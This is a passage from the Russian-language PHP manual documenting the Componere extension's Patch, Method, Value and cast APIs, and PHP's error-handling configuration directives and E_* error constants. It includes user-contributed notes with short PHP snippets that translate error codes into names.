Выбрасывает исключение InvalidArgumentException если instance не совместим

User Contributed Notes

There are no user contributed notes for this page.


Получает замыкание

  • « Componere\Patch::derive
  • Componere\Patch::getClosures »
  • PHP Manual
  • Componere\Patch
  • Получает замыкание

Componere\Patch::getClosure

(Componere 2 >= 2.1.0)

Componere\Patch::getClosure — Получает замыкание

Описание

public Componere\Patch::getClosure(string $name): Closure

Должен вернуть замыкание для указанного метода

Список параметров

name

Регистронезависимое имя метода

Возвращаемые значения

Замыкание, привязанное к правильной области и объекту

Исключения

Внимание

Выбрасывает исключение RuntimeException если name не найден

User Contributed Notes

There are no user contributed notes for this page.


Получает замыкания

  • « Componere\Patch::getClosure
  • Componere\Method »
  • PHP Manual
  • Componere\Patch
  • Получает замыкания

Componere\Patch::getClosures

(Componere 2 >= 2.1.0)

Componere\Patch::getClosures — Получает замыкания

Описание

public Componere\Patch::getClosures(): array

Должен вернуть массив замыканий

Возвращаемые значения

Должен вернуть все методы в виде массива объектов Closure, привязанных к правильной области и объекту

User Contributed Notes

There are no user contributed notes for this page.


Класс Componere\Method

(Componere 2 >= 2.1.0)

Введение

Method представляет функцию с изменяемыми флагами доступности

Обзор классов

final class Componere\Method {
/* Конструктор класса */
public __construct(Closure $closure)
/* Методы */
public setPrivate(): Method
public setProtected(): Method
public setStatic(): Method
public getReflector(): ReflectionMethod
}

Содержание

  • Componere\Method::__construct — Конструктор класса Method
  • Componere\Method::setPrivate — Изменение доступности
  • Componere\Method::setProtected — Изменение доступности
  • Componere\Method::setStatic — Изменение доступности
  • Componere\Method::getReflector — Reflection

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Method

  • « Componere\Method
  • Componere\Method::setPrivate »
  • PHP Manual
  • Componere\Method
  • Конструктор класса Method

Componere\Method::__construct

(Componere 2 >= 2.1.0)

Componere\Method::__construct — Конструктор класса Method

Описание

public Componere\Method::__construct(Closure $closure)

Список параметров

closure

User Contributed Notes

There are no user contributed notes for this page.


Изменение доступности

  • « Componere\Method::__construct
  • Componere\Method::setProtected »
  • PHP Manual
  • Componere\Method
  • Изменение доступности

Componere\Method::setPrivate

(Componere 2 >= 2.1.0)

Componere\Method::setPrivate — Изменение доступности

Описание

public Componere\Method::setPrivate(): Method

Возвращаемые значения

Текущий метод

Исключения

Внимание

Выбрасывает исключение RuntimeException, если уровень доступа был ранее установлен

User Contributed Notes

There are no user contributed notes for this page.


Изменение доступности

  • « Componere\Method::setPrivate
  • Componere\Method::setStatic »
  • PHP Manual
  • Componere\Method
  • Изменение доступности

Componere\Method::setProtected

(Componere 2 >= 2.1.0)

Componere\Method::setProtected — Изменение доступности

Описание

public Componere\Method::setProtected(): Method

Возвращаемые значения

Текущий метод

Исключения

Внимание

Выбрасывает исключение RuntimeException, если уровень доступа был ранее установлен

User Contributed Notes

There are no user contributed notes for this page.


Изменение доступности

  • « Componere\Method::setProtected
  • Componere\Method::getReflector »
  • PHP Manual
  • Componere\Method
  • Изменение доступности

Componere\Method::setStatic

(Componere 2 >= 2.1.0)

Componere\Method::setStatic — Изменение доступности

Описание

public Componere\Method::setStatic(): Method

Возвращаемые значения

Текущий метод

User Contributed Notes

There are no user contributed notes for this page.


Reflection

  • « Componere\Method::setStatic
  • Componere\Value »
  • PHP Manual
  • Componere\Method
  • Reflection

Componere\Method::getReflector

(Componere 2 >= 2.1.0)

Componere\Method::getReflector — Reflection

Описание

public Componere\Method::getReflector(): ReflectionMethod

Должен создать и вернуть ReflectionMethod

Возвращаемые значения

ReflectionMethod для текущего метода (кешируется)

User Contributed Notes

There are no user contributed notes for this page.


Класс Componere\Value

(Componere 2 >= 2.1.0)

Введение

Value представляет переменную PHP всех типов, включая неопределённую (undefined)

Обзор классов

final class Componere\Value {
/* Конструктор класса */
public __construct( $default = ?)
/* Методы */
public setPrivate(): Value
public setProtected(): Value
public setStatic(): Value
public isPrivate(): bool
public isProtected(): bool
public isStatic(): bool
public hasDefault(): bool
}

Содержание

  • Componere\Value::__construct — Конструктор класса Value
  • Componere\Value::setPrivate — Изменение доступности
  • Componere\Value::setProtected — Изменение доступности
  • Componere\Value::setStatic — Изменение доступности
  • Componere\Value::isPrivate — Определение доступности
  • Componere\Value::isProtected — Определение доступности
  • Componere\Value::isStatic — Определение доступности
  • Componere\Value::hasDefault — Взаимодействие с классом Value

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Value

  • « Componere\Value
  • Componere\Value::setPrivate »
  • PHP Manual
  • Componere\Value
  • Конструктор класса Value

Componere\Value::__construct

(Componere 2 >= 2.1.0)

Componere\Value::__construct — Конструктор класса Value

Описание

public Componere\Value::__construct( $default = ?)

Список параметров

default

Исключения

Внимание

Выбрасывает исключение InvalidArgumentException, если default не имеет подходящего значения

User Contributed Notes

There are no user contributed notes for this page.


Изменение доступности

  • « Componere\Value::__construct
  • Componere\Value::setProtected »
  • PHP Manual
  • Componere\Value
  • Изменение доступности

Componere\Value::setPrivate

(Componere 2 >= 2.1.0)

Componere\Value::setPrivate — Изменение доступности

Описание

public Componere\Value::setPrivate(): Value

Возвращаемые значения

Текущее значение

Исключения

Внимание

Выбрасывает исключение RuntimeException, если уровень доступа был ранее установлен

User Contributed Notes

There are no user contributed notes for this page.


Изменение доступности

  • « Componere\Value::setPrivate
  • Componere\Value::setStatic »
  • PHP Manual
  • Componere\Value
  • Изменение доступности

Componere\Value::setProtected

(Componere 2 >= 2.1.0)

Componere\Value::setProtected — Изменение доступности

Описание

public Componere\Value::setProtected(): Value

Возвращаемые значения

Текущее значение

Исключения

Внимание

Выбрасывает исключение RuntimeException, если уровень доступа был ранее установлен

User Contributed Notes

There are no user contributed notes for this page.


Изменение доступности

  • « Componere\Value::setProtected
  • Componere\Value::isPrivate »
  • PHP Manual
  • Componere\Value
  • Изменение доступности

Componere\Value::setStatic

(Componere 2 >= 2.1.0)

Componere\Value::setStatic — Изменение доступности

Описание

public Componere\Value::setStatic(): Value

Возвращаемые значения

Текущее значение

User Contributed Notes

There are no user contributed notes for this page.


Определение доступности

  • « Componere\Value::setStatic
  • Componere\Value::isProtected »
  • PHP Manual
  • Componere\Value
  • Определение доступности

Componere\Value::isPrivate

(Componere 2 >= 2.1.0)

Componere\Value::isPrivate — Определение доступности

Описание

public Componere\Value::isPrivate(): bool

User Contributed Notes

There are no user contributed notes for this page.


Определение доступности

  • « Componere\Value::isPrivate
  • Componere\Value::isStatic »
  • PHP Manual
  • Componere\Value
  • Определение доступности

Componere\Value::isProtected

(Componere 2 >= 2.1.0)

Componere\Value::isProtected — Определение доступности

Описание

public Componere\Value::isProtected(): bool

User Contributed Notes

There are no user contributed notes for this page.


Определение доступности

  • « Componere\Value::isProtected
  • Componere\Value::hasDefault »
  • PHP Manual
  • Componere\Value
  • Определение доступности

Componere\Value::isStatic

(Componere 2 >= 2.1.0)

Componere\Value::isStatic — Определение доступности

Описание

public Componere\Value::isStatic(): bool

User Contributed Notes

There are no user contributed notes for this page.


Взаимодействие с классом Value

  • « Componere\Value::isStatic
  • Функции Componere »
  • PHP Manual
  • Componere\Value
  • Взаимодействие с классом Value

Componere\Value::hasDefault

(Componere 2 >= 2.1.0)

Componere\Value::hasDefault — Взаимодействие с классом Value

Описание

public Componere\Value::hasDefault(): bool

User Contributed Notes

There are no user contributed notes for this page.


Функции Componere

Содержание

  • Componere\cast — Приведение к типу
  • Componere\cast_by_ref — Приведение к типу

User Contributed Notes

There are no user contributed notes for this page.


Приведение к типу

  • « Функции Componere
  • Componere\cast_by_ref »
  • PHP Manual
  • Функции Componere
  • Приведение к типу

Componere\cast

(Componere 2 >= 2.1.2)

Componere\cast — Приведение к типу

Описание

Componere\cast(Type $type, $object): Type

Список параметров

type

Пользовательский тип

object

Объект с пользовательским типом, совместимый с Type

Возвращаемые значения

object типа Type, приведённый из object

Ошибки

Внимание

Выбрасывает исключение InvalidArgumentException, если тип object является производным от внутреннего класса

Внимание

Выбрасывает исключение InvalidArgumentException, если Type является интерфейсом

Внимание

Выбрасывает исключение InvalidArgumentException, если Type является трейтом

Внимание

Выбрасывает исключение InvalidArgumentException, если Type является абстрактным классом

Внимание

Выбрасывает исключение InvalidArgumentException, если Type не совместим с типом object

Смотрите также

  • Componere\cast_by_ref

User Contributed Notes

There are no user contributed notes for this page.


Приведение к типу

  • « Componere\cast
  • Обработка ошибок »
  • PHP Manual
  • Функции Componere
  • Приведение к типу

Componere\cast_by_ref

(Componere 2 >= 2.1.2)

Componere\cast_by_ref — Приведение к типу

Описание

Componere\cast_by_ref(Type $type, $object): Type

Список параметров

type

Пользовательский тип

object

Объект с пользовательским типом, совместимым с Type

Возвращаемые значения

object типа Type, приведённый из object, где элементы являются ссылками на элементы object

Ошибки

Внимание

Выбрасывает исключение InvalidArgumentException, если тип object является производным от внутреннего класса

Внимание

Выбрасывает исключение InvalidArgumentException, если Type является интерфейсом

Внимание

Выбрасывает исключение InvalidArgumentException, если Type является трейтом

Внимание

Выбрасывает исключение InvalidArgumentException, если Type является абстрактным классом

Внимание

Выбрасывает исключение InvalidArgumentException, если Type не совместим с типом object

Смотрите также

  • Componere\cast

User Contributed Notes

There are no user contributed notes for this page.


Обработка и логирование ошибок

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции обработки ошибок
    • debug_backtrace — Генерирует стек вызовов функций
    • debug_print_backtrace — Выводит стек вызовов функций
    • error_clear_last — Очистить самую последнюю ошибку
    • error_get_last — Получение информации о последней произошедшей ошибке
    • error_log — Отправляет сообщение об ошибке заданному обработчику ошибок
    • error_reporting — Задаёт, какие ошибки PHP попадут в отчёт
    • restore_error_handler — Восстанавливает предыдущий обработчик ошибок
    • restore_exception_handler — Восстанавливает предыдущий обработчик исключений
    • set_error_handler — Задаёт пользовательский обработчик ошибок
    • set_exception_handler — Задаёт пользовательский обработчик исключений
    • trigger_error — Вызывает пользовательскую ошибку/предупреждение/уведомление
    • user_error — Псевдоним trigger_error

User Contributed Notes

There are no user contributed notes for this page.


Введение

В данном разделе представлены функции, связанные с обработкой и логированием ошибок. Они дают возможность определять собственные правила обработки ошибок, а также изменять способы их логирования. Это позволяет пользователю настраивать обработку ошибок под собственные нужды.

С помощью функций логирования возможно напрямую отправлять сообщения об ошибках на другие машины, по электронной почте (или на смс-шлюзы), записывать в системные журналы и т.д. Это позволяет выборочно следить за наиболее важными частями приложений и сайтов.

Функции логирования позволяют настраивать тип и детализацию информации об ошибках того или иного типа от простых уведомлений до трассировки функций, вызвавших ошибку.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования этих функций не требуется проведение установки, поскольку они являются частью ядра PHP.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройки конфигурации протоколирования событий и ошибок
Имя | По умолчанию | Место изменения | Список изменений
error_reporting | NULL | PHP_INI_ALL |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "1" | PHP_INI_ALL | До PHP 8.0.0 значение по умолчанию было "0".
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL | Не имеет смысла в версии PHP 8.0.0, удалено в версии PHP 8.1.0.
ignore_repeated_errors | "0" | PHP_INI_ALL |
ignore_repeated_source | "0" | PHP_INI_ALL |
report_memleaks | "1" | PHP_INI_ALL |
track_errors | "0" | PHP_INI_ALL | Объявлено устаревшим в PHP 7.2.0, удалено в PHP 8.0.0.
html_errors | "1" | PHP_INI_ALL |
xmlrpc_errors | "0" | PHP_INI_SYSTEM |
xmlrpc_error_number | "0" | PHP_INI_ALL |
docref_root | "" | PHP_INI_ALL |
docref_ext | "" | PHP_INI_ALL |
error_prepend_string | NULL | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
error_log_mode | 0o644 | PHP_INI_ALL | Доступно, начиная с PHP 8.2.0
syslog.facility | "LOG_USER" | PHP_INI_SYSTEM | Доступно, начиная с PHP 7.3.0.
syslog.filter | "no-ctrl" | PHP_INI_ALL | Доступно, начиная с PHP 7.3.0.
syslog.ident | "php" | PHP_INI_SYSTEM | Доступно, начиная с PHP 7.3.0.
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

error_reporting int

Задаёт уровень протоколирования ошибки. Параметр может быть либо числом, представляющим битовое поле, либо именованной константой. Соответствующие уровни и константы приведены в разделе Предопределённые константы, а также в php.ini. Для установки настройки во время выполнения используйте функцию error_reporting(). Смотрите также описание директивы display_errors.

Значение по умолчанию равно E_ALL.

До PHP 8.0.0 значение по умолчанию было: E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED. При этой настройке не отображаются уровни ошибок E_NOTICE, E_STRICT и E_DEPRECATED.

Замечание: PHP-константы за пределами PHP

Использование PHP-констант за пределами PHP, например в файле httpd.conf, не имеет смысла, так как в таких случаях требуются целочисленные значения (int). Более того, с течением времени будут добавляться новые уровни ошибок, а максимальное значение константы E_ALL соответственно будет расти. Поэтому в месте, где предполагается указать E_ALL, лучше задать большое целое число, чтобы перекрыть все возможные битовые поля. Таким числом может быть, например, 2147483647 (оно включит все возможные ошибки, не только E_ALL).

display_errors string

Эта настройка определяет, требуется ли выводить ошибки на экран вместе с остальным выводом, либо ошибки должны быть скрыты от пользователя.

Значение "stderr" посылает ошибки в поток stderr вместо stdout.

Замечание:

Эта функциональность предназначена только для разработки и не должна использоваться в готовых производственных системах (например, системах, имеющих доступ в интернет).

Замечание:

Несмотря на то, что display_errors может быть установлена во время выполнения (функцией ini_set()), это ни на что не повлияет, если в скрипте есть фатальные ошибки. Это обусловлено тем, что ожидаемые действия программы во время выполнения не получат управления (не будут выполняться).

display_startup_errors bool

Даже если display_errors включена, ошибки, возникающие во время запуска PHP, не будут отображаться. Настойчиво рекомендуем включать директиву display_startup_errors только для отладки.

log_errors bool

Отвечает за выбор журнала, в котором будут сохраняться сообщения об ошибках. Это может быть журнал сервера или error_log. Применимость этой настройки зависит от конкретного сервера.

Замечание:

Настоятельно рекомендуем при работе на готовых работающих web сайтах протоколировать ошибки там, где они отображаются.

log_errors_max_len int

Задание максимальной длины log_errors в байтах. В error_log добавляется информация об источнике. Значение по умолчанию 1024. Установка значения в 0 позволяет снять ограничение на длину log_errors. Это ограничение распространяется на записываемые в журнал ошибки, на отображаемые ошибки, а также на $php_errormsg, но не на явно вызываемые функции, такие как error_log().

Если используется int, значение измеряется байтами. Вы также можете использовать сокращённую запись, которая описана в этом разделе FAQ.
ignore_repeated_errors bool

Не заносить в журнал повторяющиеся ошибки. Ошибка считается повторяющейся, если происходит в том же файле и в той же строке, и если настройка ignore_repeated_source выключена.

ignore_repeated_source bool

Игнорировать источник ошибок при пропуске повторяющихся сообщений. Когда эта настройка включена, повторяющиеся сообщения об ошибках не будут заноситься в журнал вне зависимости от того, в каких файлах и строках они происходят.

report_memleaks bool

Если настройка включена (по умолчанию), будет формироваться отчёт об утечках памяти, зафиксированных менеджером памяти Zend. На POSIX платформах этот отчёт будет направляться в поток stderr. На Windows платформах он будет посылаться в отладчик функцией OutputDebugString(), просмотреть отчёт в этом случае можно с помощью утилит, вроде » DbgView. Эта настройка имеет смысл в сборках, предназначенных для отладки. При этом E_WARNING должна быть включена в список error_reporting.

track_errors bool

Если включена, последняя произошедшая ошибка будет первой в переменной $php_errormsg.

html_errors bool

Если разрешена, сообщения об ошибках будут включать теги HTML. Формат для HTML-ошибок производит нажимаемые ссылки, ведущие на описание ошибки, либо функии, в которой она произошла. За такие ссылки ответственны docref_root и docref_ext.

Если запрещена, то ошибки будут выдаваться простым текстом, без форматирования.

xmlrpc_errors bool

Если включена, то нормальное оповещение об ошибках отключается и, вместо него, ошибки выводятся в формате XML-RPC.

xmlrpc_error_number int

Используется в качестве значения XML-RPC элемента faultCode.

docref_root string

Новый формат ошибок содержит ссылку на страницу с описанием ошибки или функции, вызвавшей эту ошибку. Можно разместить копию описаний ошибок и функций локально и задать ini директиве значение URL этой копии. Если, например, локальная копия описаний доступна по адресу "/manual/", достаточно прописать docref_root=/manual/. Дополнительно, необходимо задать значение директиве docref_ext, отвечающей за соответствие расширений файлов файлам описаний вашей локальной копии, docref_ext=.html. Также возможно использование внешних ссылок. Например, docref_root=http://manual/en/ или docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F"

В большинстве случаев вам потребуется, чтобы значение docref_root оканчивалось слешем "/". Тем не менее, бывают случаи, когда это не требуется (смотрите выше, второй пример).

Замечание:

Эта функциональность предназначена только для разработки, так как он облегчает поиск описаний функций и ошибок. Не используйте его в готовых производственных системах (например, имеющих доступ в интернет).

docref_ext string

Смотрите docref_root.

Замечание:

Значение docref_ext должно начинаться с точки ".".

error_prepend_string string

Строка, которая будет выводиться непосредственно перед сообщением об ошибке. Используется только тогда, когда на экране отображается сообщение об ошибке. Основная цель - добавить дополнительную HTML-разметку к сообщению об ошибке.

error_append_string string

Строка, которая будет выводиться после сообщения об ошибке. Используется только тогда, когда на экране отображается сообщение об ошибке. Основная цель - добавить дополнительную HTML-разметку к сообщению об ошибке.

error_log string

Имя файла, в который будут добавляться сообщения об ошибках. Файл должен быть открыт для записи пользователем веб-сервера. Если используется специальное значение syslog, то сообщения будут посылаться в системный журнал. На Unix-системах это syslog(3), на Windows NT - журнал событий. Смотрите также: syslog(). Если директива не задана, ошибки будут направляться в SAPI журналы. Например, это могут быть журналы ошибок Apache или поток stderr командной строки CLI. Смотрите также функцию error_log().

error_log_mode int

Режим файла, описанного в error_log.

syslog.facility string

Указывает, какой тип программы регистрирует сообщение. Действует только в том случае, если опция error_log установлена в "syslog".

syslog.filter string

Указывает тип фильтра для фильтрации регистрируемых сообщений. Разрешённые символы передаются без изменений; все остальные записываются в шестнадцатеричном представлении с префиксом \x.

  • all - строка будет разделена на символы новой строки и все символы будут переданы без изменений
  • ascii - строка будет разделена на символы новой строки, а любые непечатаемые 7-битные символы ASCII будут экранированы
  • no-ctrl - строка будет разделена на символы новой строки, а любые непечатаемые символы будут экранированы
  • raw - все символы передаются в системный журнал без изменений, без разделения на новые строки (идентично PHP до 7.3)
Параметр влияет на ведение журнала через error_log установленного в "syslog" и вызовы syslog().

Замечание:

Тип фильтра raw доступен начиная с PHP 7.3.8 и PHP 7.4.0.

Директива не поддерживается в Windows.
syslog.ident string

Определяет строку идентификатора, которая добавляется к каждому сообщению. Действует только в том случае, если опция error_log установлена в "syslog".

User Contributed Notes

iio7 at protonmail dot com 31-Dec-2021 09:52
It's important to note that when display_errors is "on", PHP will send a HTTP 200 OK status code even when there is an error. This is not a mistake or a wrong behavior, but is because you're asking PHP to output normal HTML, i.e. the error message, to the browser.

When display_errors is set to "off", PHP will send a HTTP 500 Internal Server Error, and let the web server handle it from there. If the web server is setup to intercept FastCGI errors (in case of NGINX), it will display the 500 error page it has setup. If the web server cannot intercept FastCGI errors, or it isn't setup to do it, an empty screen will be displayed in the browser (the famous white screen of death).

If you need a custom error page but cannot intercept PHP errors on the web server you're using, you can use PHPs custom error and exception handling mechanism. If you combine that with output buffering you can prevent any output to reach the client before the error/exception occurs. Just remember that parse errors are compile time errors that cannot be handled by a custom handler, use "php -l foo.php" from the terminal to check for parse errors before putting your files on production.
Roger 18-Jul-2019 02:57
When `error_log` is set to a file path, log messages will automatically be prefixed with timestamp [DD-MMM-YYYY HH:MM:SS UTC].  This appears to be hard-coded, with no formatting options.
ohcc at 163 dot com 09-Dec-2016 12:57
If you set the error_log directive to a relative path, it is a path relative to the document root rather than php's containing folder.
jaymore at gmail dot com 02-Dec-2016 10:14
Document says
So in place of E_ALL consider using a larger value to cover all bit fields from now and well into the future, a numeric value like 2147483647 (includes all errors, not just E_ALL).

But it is better to set "-1" as the E_ALL value.
For example, in httpd.conf or .htaccess, use
php_value error_reporting -1
to report all kind of error without be worried by the PHP version.
php dot net at sp-in dot dk 27-Nov-2014 09:59
There does not appear to be a way to set a tag / ident / program for log entries in the ini file when using error_log=syslog.  When I test locally, "apache2" is used.
However, calling openlog() with an ident parameter early in your script (or using an auto_prepend_file) will make PHP use that value for all subsequent log entries. closelog() will restore the original tag.

This can be done for setting facility as well, although the original value does not seem to be restored by closelog().
cjakeman at bcs dot org 17-Mar-2009 01:06
Using
<?php ini_set('display_errors', 1); ?>
at the top of your script will not catch any parse errors. A missing ")" or ";" will still lead to a blank page.

This is because the entire script is parsed before any of it is executed. If you are unable to change php.ini and set

display_errors On

then there is a possible solution suggested under error_reporting:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

[Modified by moderator]

You should also consider setting error_reporting = -1 in your php.ini and display_errors = On if you are in development mode to see all fatal/parse errors or set error_log to your desired file to log errors instead of display_errors in production (this requires log_errors to be turned on).


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

Замечание: Данные имена констант можно использовать в файле php.ini но не вне PHP, как например в файле httpd.conf, где вместо них необходимо использовать значения их битовых масок.

Ошибки и протоколирование
Значение | Константа | Описание | Примечание
1 | E_ERROR (int) | Фатальные ошибки времени выполнения. Это неустранимые средствами самого скрипта ошибки, такие как ошибка распределения памяти и т.п. Выполнение скрипта в таком случае прекращается. |
2 | E_WARNING (int) | Предупреждения времени выполнения (не фатальные ошибки). Выполнение скрипта в таком случае не прекращается. |
4 | E_PARSE (int) | Ошибки на этапе компиляции. Должны генерироваться только парсером. |
8 | E_NOTICE (int) | Уведомления времени выполнения. Указывают на то, что во время выполнения скрипта произошло что-то, что может указывать на ошибку, хотя это может происходить и при обычном выполнении программы. |
16 | E_CORE_ERROR (int) | Фатальные ошибки, которые происходят во время запуска РНР. Такие ошибки схожи с E_ERROR, за исключением того, что они генерируются ядром PHP. |
32 | E_CORE_WARNING (int) | Предупреждения (не фатальные ошибки), которые происходят во время начального запуска РНР. Такие предупреждения схожи с E_WARNING, за исключением того, что они генерируются ядром PHP. |
64 | E_COMPILE_ERROR (int) | Фатальные ошибки на этапе компиляции. Такие ошибки схожи с E_ERROR, за исключением того, что они генерируются скриптовым движком Zend. |
128 | E_COMPILE_WARNING (int) | Предупреждения на этапе компиляции (не фатальные ошибки). Такие предупреждения схожи с E_WARNING, за исключением того, что они генерируются скриптовым движком Zend. |
256 | E_USER_ERROR (int) | Сообщения об ошибках, сгенерированные пользователем. Такие ошибки схожи с E_ERROR, за исключением того, что они генерируются в коде скрипта средствами функции PHP trigger_error(). |
512 | E_USER_WARNING (int) | Предупреждения, сгенерированные пользователем. Такие предупреждения схожи с E_WARNING, за исключением того, что они генерируются в коде скрипта средствами функции PHP trigger_error(). |
1024 | E_USER_NOTICE (int) | Уведомления, сгенерированные пользователем. Такие уведомления схожи с E_NOTICE, за исключением того, что они генерируются в коде скрипта, средствами функции PHP trigger_error(). |
2048 | E_STRICT (int) | Включаются для того, чтобы PHP предлагал изменения в коде, которые обеспечат лучшее взаимодействие и совместимость кода. |
4096 | E_RECOVERABLE_ERROR (int) | Фатальные ошибки с возможностью обработки. Такие ошибки указывают, что, вероятно, возникла опасная ситуация, но при этом, скриптовый движок остаётся в стабильном состоянии. Если такая ошибка не обрабатывается функцией, определённой пользователем для обработки ошибок (смотрите set_error_handler()), выполнение приложения прерывается, как происходит при ошибках E_ERROR. |
8192 | E_DEPRECATED (int) | Уведомления времени выполнения об использовании устаревших конструкций. Включаются для того, чтобы получать предупреждения о коде, который не будет работать в следующих версиях PHP. |
16384 | E_USER_DEPRECATED (int) | Уведомления времени выполнения об использовании устаревших конструкций, сгенерированные пользователем. Такие уведомления схожи с E_DEPRECATED за исключением того, что они генерируются в коде скрипта, с помощью функции PHP trigger_error(). |
32767 | E_ALL (int) | Все поддерживаемые ошибки, предупреждения и замечания. |

Представленные выше значения (как числовые, так и символьные) используются для задания битовой маски, определяющей об ошибках какого типа будет даваться отчёт. Вы можете использовать побитовые операторы, чтобы совмещать эти значения для указания определённых типов ошибок. Стоит отметить, что в php.ini допустимы только следующие операторы: '|', '~', '!', '^' и '&'.

User Contributed Notes

ali6236 at yahoo dot com 24-Apr-2023 08:38
A better way to map error constant to their names (instead of switch) :

    function getErrorName($code)
    {
        static $error_names = [
            E_ERROR => 'E_ERROR',
            E_WARNING => 'E_WARNING',
            E_PARSE => 'E_PARSE',
            E_NOTICE => 'E_NOTICE',
            E_CORE_ERROR => 'E_CORE_ERROR',
            E_CORE_WARNING => 'E_CORE_WARNING',
            E_COMPILE_ERROR => 'E_COMPILE_ERROR',
            E_COMPILE_WARNING => 'E_COMPILE_WARNING',
            E_USER_ERROR => 'E_USER_ERROR',
            E_USER_WARNING => 'E_USER_WARNING',
            E_USER_NOTICE => 'E_USER_NOTICE',
            E_STRICT => 'E_STRICT',
            E_RECOVERABLE_ERROR => 'E_RECOVERABLE_ERROR',
            E_DEPRECATED => 'E_DEPRECATED',
            E_USER_DEPRECATED => 'E_USER_DEPRECATED',
        ];
        return $error_names[$code] ?? '';
    }
fadhilinjagi at gmail dot com 29-Sep-2021 06:57
A simple and neat way to get the error level from the error code. You can even customize the error level names further.

<?php
$exceptions = [
        E_ERROR => "E_ERROR",
        E_WARNING => "E_WARNING",
        E_PARSE => "E_PARSE",
        E_NOTICE => "E_NOTICE",
        E_CORE_ERROR => "E_CORE_ERROR",
        E_CORE_WARNING => "E_CORE_WARNING",
        E_COMPILE_ERROR => "E_COMPILE_ERROR",
        E_COMPILE_WARNING => "E_COMPILE_WARNING",
        E_USER_ERROR => "E_USER_ERROR",
        E_USER_WARNING => "E_USER_WARNING",
        E_USER_NOTICE => "E_USER_NOTICE",
        E_STRICT => "E_STRICT",
        E_RECOVERABLE_ERROR => "E_RECOVERABLE_ERROR",
        E_DEPRECATED => "E_DEPRECATED",
        E_USER_DEPRECATED => "E_USER_DEPRECATED",
        E_ALL => "E_ALL"
];

echo $exceptions["1"];
$code = 256;
echo $exceptions[$code];
?>

Output:
E_ERROR
E_USER_ERROR

This will need updating when PHP updates the error level names. Otherwise, it works just fine.
kaioker 22-Sep-2021 07:47
super simple error code to human readable conversion:

function prettycode($code){
    return $code == 0 ? "FATAL" : array_search($code, get_defined_constants(true)['Core']);
}
ErikBachmann 19-Jun-2019 10:39
A shorter version of vladvarna's FriendlyErrorType($type)
<?php
function getErrorTypeByValue($type) {
    $constants  = get_defined_constants(true);

    foreach ( $constants['Core'] as $key => $value ) { // Each Core constant
        if ( preg_match('/^E_/', $key  ) ) {    // Check error constants
            if ( $type == $value )
                return( "$key=$value");
        }
    }
}   // getErrorTypeByValue()

echo "[".getErrorTypeByValue( 1 ) . "]". PHP_EOL;
echo "[".getErrorTypeByValue( 0 ) . "]". PHP_EOL;
echo "[".getErrorTypeByValue( 8 ) . "]". PHP_EOL;
?>

Will give
    [E_ERROR=1]
    []
    [E_NOTICE=8]
bbrokman at gmail dot com 01-Jun-2019 11:14
A neat way to have a place in code to control error reporting configuration :)

<?php

$errorsActive = [
    E_ERROR             => FALSE,
    E_WARNING           => TRUE,
    E_PARSE             => TRUE,
    E_NOTICE            => TRUE,
    E_CORE_ERROR        => FALSE,
    E_CORE_WARNING      => FALSE,
    E_COMPILE_ERROR     => FALSE,
    E_COMPILE_WARNING   => FALSE,
    E_USER_ERROR        => TRUE,
    E_USER_WARNING      => TRUE,
    E_USER_NOTICE       => TRUE,
    E_STRICT            => FALSE,
    E_RECOVERABLE_ERROR => TRUE,
    E_DEPRECATED        => FALSE,
    E_USER_DEPRECATED   => TRUE,
    E_ALL               => FALSE,
];

error_reporting(
    array_sum(
        array_keys($errorsActive, $search = true)
    )
);

?>
paulsnar 19-Apr-2018 02:08
PHP 7 makes E_STRICT irrelevant, reclassifying most of the errors as proper warnings, notices or E_DEPRECATED: https://wiki.php.net/rfc/reclassify_e_strict
cl at viazenetti dot de 24-Nov-2017 05:24
An other way to get all PHP errors  that are set to be reported. This code will even work, when additional error types are added in future.

<?php
$pot = 0;
foreach (array_reverse(str_split(decbin(error_reporting()))) as $bit) {
    if ($bit == 1) {
        echo array_search(pow(2, $pot), get_defined_constants(true)['Core']). "<br>\n";
    }
    $pot++;
}
?>
espertalhao04 at hotmail dot com 20-Apr-2017 04:58
A simplified way of writting a function to return a (non-optimal) representation of the error code as a bitwise string:

<?php
    function readable_error_type($error_code)
    {
        $constants = array();
        foreach(get_defined_constants() as $key => $value)
        {
            if(strpos($key, 'E_') === 0 && ($value <= $error_code) && ($value & $error_code))
            {
                $constants[] = $key;
            }
        }

        return implode(' | ', $constants);
    }
?>

This only works for values above 0.
ilpaijin at gmail dot com 23-Mar-2017 04:12
The bitmask values relative to the Constant E_ALL is 30719, in case of PHP 5.6.x
ahsankhatri1992 at gmail 26-Aug-2016 03:47
Notes posted above limited to current errors level as on 26th Aug 2016, following snippet will work even on introduction of new error level

$errLvl = error_reporting();
for ( $i = 1; $i < E_ALL;  $i*=2 )
{
    print FriendlyErrorType($errLvl & $i) . "<br>\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_COMPILE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_COMPILE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
